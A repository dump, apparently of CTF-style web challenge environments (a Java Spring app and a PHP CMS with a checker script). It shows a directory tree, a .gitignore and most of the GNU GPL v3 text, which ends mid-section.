│ └── sslext/ │ │ │ │ └── 1.2-0/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── sslext-1.2-0.jar │ │ │ │ ├── sslext-1.2-0.jar.sha1 │ │ │ │ ├── sslext-1.2-0.pom │ │ │ │ └── sslext-1.2-0.pom.sha1 │ │ │ ├── xerces/ │ │ │ │ └── xercesImpl/ │ │ │ │ └── 2.9.1/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── xercesImpl-2.9.1.jar │ │ │ │ ├── xercesImpl-2.9.1.jar.sha1 │ │ │ │ ├── xercesImpl-2.9.1.pom │ │ │ │ └── xercesImpl-2.9.1.pom.sha1 │ │ │ ├── xml-apis/ │ │ │ │ └── xml-apis/ │ │ │ │ ├── 1.0.b2/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── xml-apis-1.0.b2.pom │ │ │ │ │ └── xml-apis-1.0.b2.pom.sha1 │ │ │ │ └── 1.3.04/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── xml-apis-1.3.04.jar │ │ │ │ ├── xml-apis-1.3.04.jar.sha1 │ │ │ │ ├── xml-apis-1.3.04.pom │ │ │ │ └── xml-apis-1.3.04.pom.sha1 │ │ │ └── xpp3/ │ │ │ └── xpp3_min/ │ │ │ └── 1.1.4c/ │ │ │ ├── _remote.repositories │ │ │ ├── xpp3_min-1.1.4c.jar │ │ │ ├── xpp3_min-1.1.4c.jar.sha1 │ │ │ ├── xpp3_min-1.1.4c.pom │ │ │ └── xpp3_min-1.1.4c.pom.sha1 │ │ ├── pom.xml │ │ ├── src/ │ │ │ └── main/ │ │ │ ├── java/ │ │ │ │ └── com/ │ │ │ │ └── bupt/ │ │ │ │ ├── canstants/ │ │ │ │ │ └── Canstants.java │ │ │ │ ├── common/ │ │ │ │ │ ├── JsonData.java │ │ │ │ │ ├── RandomValueStringGenerator.java │ │ │ │ │ ├── SpelView.java │ │ │ │ │ └── SpringExceptionResolver.java │ │ │ │ ├── dao/ │ │ │ │ │ ├── ProfileDao.java │ │ │ │ │ └── UserDao.java │ │ │ │ ├── domain/ │ │ │ │ │ ├── Flag.java │ │ │ │ │ ├── LoginLog.java │ │ │ │ │ ├── Profile.java │ │ │ │ │ └── User.java │ │ │ │ ├── exception/ │ │ │ │ │ ├── CustomException.java │ │ │ │ │ ├── CustomExceptionResolver.java │ │ │ │ │ ├── ParamException.java │ │ │ │ │ └── PermissionException.java │ │ │ │ ├── interceptor/ │ │ │ │ │ ├── FileTypeInterceptor.java │ │ │ │ │ └── LoginInterceptor.java │ │ │ │ ├── service/ │ │ │ │ │ ├── UserService.java │ │ │ │ │ └── upload/ │ │ │ │ │ ├── Thumbnail.java │ │ │ │ │ └── Upload.java │ │ │ │ ├── utils/ │ │ │ │ │ ├── AuthImage.java │ │ │ │ │ ├── Check.java │ │ │ │ │ ├── MD5Util.java │ │ │ │ │ ├── MailUtil.java │ │ │ │ │ ├── ProfileExcelExportUtils.java │ │ │ │ │ ├── ResponseUtils.java │ │ │ │ │ ├── SysConfigUtils.java │ │ │ │ │ ├── SystemDateTimeChecker.java │ │ │ │ │ ├── UUIDUtils.java │ │ │ │ │ └── VerifyCodeUtils.java │ │ │ │ └── web/ │ │ │ │ ├── DownloadController.java │ │ │ │ ├── IndexController.java │ │ │ │ ├── LoginController.java │ │ │ │ ├── ProfileControllor.java │ │ │ │ └── admin/ │ │ │ │ └── AdminControllor.java │ │ │ ├── main.iml │ │ │ ├── resources/ │ │ │ │ ├── spring/ │ │ │ │ │ ├── ApplicationContext-dao.xml │ │ │ │ │ ├── ApplicationContext-service.xml │ │ │ │ │ ├── spring-context.xml │ │ │ │ │ └── sprintmvc.xml │ │ │ │ └── sysConfig.properties │ │ │ ├── schema/ │ │ │ │ └── chapter2.sql │ │ │ └── webapp/ │ │ │ ├── WEB-INF/ │ │ │ │ ├── bupt-servlet.xml │ │ │ │ ├── jsp/ │ │ │ │ │ ├── alink.jsp │ │ │ │ │ ├── arrangeMent.jsp │ │ │ │ │ ├── competitionRule.jsp │ │ │ │ │ ├── error.jsp │ │ │ │ │ ├── excel.jsp │ │ │ │ │ ├── exception.jsp │ │ │ │ │ ├── find.jsp │ │ │ │ │ ├── index.jsp │ │ │ │ │ ├── login.jsp │ │ │ │ │ ├── noProfile.jsp │ │ │ │ │ ├── profile.jsp │ │ │ │ │ ├── profile_add.jsp │ │ │ │ │ ├── profile_edit.jsp │ │ │ │ │ ├── profile_view.jsp │ │ │ │ │ ├── register.jsp │ │ │ │ │ └── success.jsp │ │ │ │ ├── views/ │ │ │ │ │ ├── 404.html │ │ │ │ │ ├── 500.html │ │ │ │ │ └── login/ │ │ │ │ │ └── login.html │ │ │ │ └── web.xml │ │ │ ├── bootstrap3.3.5/ │ │ │ │ ├── css/ │ │ │ │ │ ├── bootstrap-theme.css │ │ │ │ │ └── bootstrap.css │ │ │ │ └── js/ │ │ │ │ ├── bootstrap.js │ │ │ │ └── npm.js │ │ │ ├── classes/ │ │ │ │ └── spring-context.xml │ │ │ ├── common/ │ │ │ │ ├── closed.jsp │ │ │ │ ├── competitionInfo.jsp │ │ │ │ ├── footer.jsp │ │ │ │ ├── head.jsp │ │ │ │ ├── infoTab.jsp │ │ │ │ └── navigator.jsp │ │ │ ├── index.jsp │ │ │ └── js/ │ │ │ ├── bootstrap-datetimepicker.zh-CN.js │ │ │ ├── myValidator.js │ │ │ └── showTips.js │ │ └── target/ │ │ ├── charpter2-1.0-SNAPSHOT/ │ │ │ ├── WEB-INF/ │ │ │ │ ├── bupt-servlet.xml │ │ │ │ ├── classes/ │ │ │ │ │ ├── spring/ │ │ │ │ │ │ ├── ApplicationContext-dao.xml │ │ │ │ │ │ ├── ApplicationContext-service.xml │ │ │ │ │ │ ├── spring-context.xml │ │ │ │ │ │ └── sprintmvc.xml │ │ │ │ │ └── sysConfig.properties │ │ │ │ ├── jsp/ │ │ │ │ │ ├── alink.jsp │ │ │ │ │ ├── arrangeMent.jsp │ │ │ │ │ ├── competitionRule.jsp │ │ │ │ │ ├── error.jsp │ │ │ │ │ ├── excel.jsp │ │ │ │ │ ├── exception.jsp │ │ │ │ │ ├── find.jsp │ │ │ │ │ ├── index.jsp │ │ │ │ │ ├── login.jsp │ │ │ │ │ ├── noProfile.jsp │ │ │ │ │ ├── profile.jsp │ │ │ │ │ ├── profile_add.jsp │ │ │ │ │ ├── profile_edit.jsp │ │ │ │ │ ├── profile_view.jsp │ │ │ │ │ ├── register.jsp │ │ │ │ │ └── success.jsp │ │ │ │ ├── lib/ │ │ │ │ │ ├── activation-1.1.jar │ │ │ │ │ ├── aopalliance-1.0.jar │ │ │ │ │ ├── aspectjweaver-1.8.1.jar │ │ │ │ │ ├── commons-beanutils-1.8.3.jar │ │ │ │ │ ├── commons-codec-1.10.jar │ │ │ │ │ ├── commons-collections4-4.1.jar │ │ │ │ │ ├── commons-dbcp-1.4.jar │ │ │ │ │ ├── commons-fileupload-1.3.1.jar │ │ │ │ │ ├── commons-io-2.5.jar │ │ │ │ │ ├── commons-logging-1.2.jar │ │ │ │ │ ├── commons-pool-1.5.4.jar │ │ │ │ │ ├── druid-0.2.23.jar │ │ │ │ │ ├── hamcrest-core-1.1.jar │ │ │ │ │ ├── jackson-annotations-2.5.3.jar │ │ │ │ │ ├── jackson-core-2.5.3.jar │ │ │ │ │ ├── jackson-databind-2.5.3.jar │ │ │ │ │ ├── jstl-1.2.jar │ │ │ │ │ ├── junit-4.9.jar │ │ │ │ │ ├── mail-1.4.7.jar │ │ │ │ │ ├── mysql-connector-java-5.1.29.jar │ │ │ │ │ ├── poi-3.15.jar │ │ │ │ │ ├── shiro-core-1.2.2.jar │ │ │ │ │ ├── shiro-spring-1.2.3.jar │ │ │ │ │ ├── shiro-web-1.2.3.jar │ │ │ │ │ ├── slf4j-api-1.7.25.jar │ │ │ │ │ ├── spring-aop-4.2.2.RELEASE.jar │ │ │ │ │ ├── spring-beans-4.2.2.RELEASE.jar │ │ │ │ │ ├── spring-context-4.2.2.RELEASE.jar │ │ │ │ │ ├── spring-context-support-4.2.2.RELEASE.jar │ │ │ │ │ ├── spring-core-4.2.2.RELEASE.jar │ │ │ │ │ ├── spring-expression-4.2.2.RELEASE.jar │ │ │ │ │ ├── spring-jdbc-4.2.2.RELEASE.jar │ │ │ │ │ ├── spring-tx-4.2.2.RELEASE.jar │ │ │ │ │ ├── spring-web-4.2.2.RELEASE.jar │ │ │ │ │ ├── spring-webmvc-4.2.2.RELEASE.jar │ │ │ │ │ └── thumbnailator-0.4.8.jar │ │ │ │ ├── views/ │ │ │ │ │ ├── 404.html │ │ │ │ │ ├── 500.html │ │ │ │ │ └── login/ │ │ │ │ │ └── login.html │ │ │ │ └── web.xml │ │ │ ├── bootstrap3.3.5/ │ │ │ │ ├── css/ │ │ │ │ │ ├── bootstrap-theme.css │ │ │ │ │ └── bootstrap.css │ │ │ │ └── js/ │ │ │ │ ├── bootstrap.js │ │ │ │ └── npm.js │ │ │ ├── classes/ │ │ │ │ └── spring-context.xml │ │ │ ├── common/ │ │ │ │ ├── closed.jsp │ │ │ │ ├── competitionInfo.jsp │ │ │ │ ├── footer.jsp │ │ │ │ ├── head.jsp │ │ │ │ ├── infoTab.jsp │ │ │ │ └── navigator.jsp │ │ │ ├── index.jsp │ │ │ └── js/ │ │ │ ├── bootstrap-datetimepicker.zh-CN.js │ │ │ ├── myValidator.js │ │ │ └── showTips.js │ │ ├── charpter2-1.0-SNAPSHOT.war │ │ ├── classes/ │ │ │ ├── spring/ │ │ │ │ ├── ApplicationContext-dao.xml │ │ │ │ ├── ApplicationContext-service.xml │ │ │ │ ├── spring-context.xml │ │ │ │ └── sprintmvc.xml │ │ │ └── sysConfig.properties │ │ ├── maven-archiver/ │ │ │ └── pom.properties │ │ └── maven-status/ │ │ └── maven-compiler-plugin/ │ │ └── compile/ │ │ └── default-compile/ │ │ ├── createdFiles.lst │ │ └── inputFiles.lst │ ├── run.sh │ └── tmp/ │ └── hsperfdata_root/ │ └── 23 └── web_simplecms/ ├── Dockerfile ├── apache2.conf ├── build_images.sh ├── checker.py ├── docker.sh ├── run.sh ├── simplecms/ │ ├── .a.php │ ├── .htaccess │ ├── Wopop_files/ │ │ ├── JQuery.cookie.js │ │ ├── jquery.pagination.js │ │ ├── jquery.ui.all.css │ │ ├── login.js │ │ ├── pagination.css │ │ ├── style.css │ │ ├── style_log.css │ │ ├── userpanel.css │ │ └── webtemples.js │ ├── a.php │ ├── about.php │ ├── admin/ │ │ ├── footer.php │ │ ├── header.php │ │ ├── index.php │ │ ├── logout.php │ │ ├── upload/ │ │ │ ├── 1532851276json │ │ │ ├── 1532851294.php │ │ │ ├── 1532851316.php │ │ │ └── config.php │ │ └── upload.php │ ├── bower.json │ ├── config.php │ ├── contact.php │ ├── css/ │ │ ├── bootstrap.css │ │ ├── chocolat.css │ │ ├── flexslider.css │ │ └── style.css │ ├── data/ │ │ ├── flot-data.js │ │ └── morris-data.js │ ├── footer.php │ ├── gulpfile.js │ ├── header.php │ ├── index.php │ ├── js/ │ │ ├── bootstrap.js │ │ ├── jquery.chocolat.js │ │ ├── jquery.flexslider.js │ │ └── sb-admin-2.js │ ├── less/ │ │ ├── mixins.less │ │ ├── sb-admin-2.less │ │ └── variables.less │ ├── login.php │ ├── package.json │ ├── search.php │ ├── services.php │ ├── single.php │ └── test.sql └── tmp/ └── .gitkeep ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ team* .idea .DS_Store *.pyc ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be 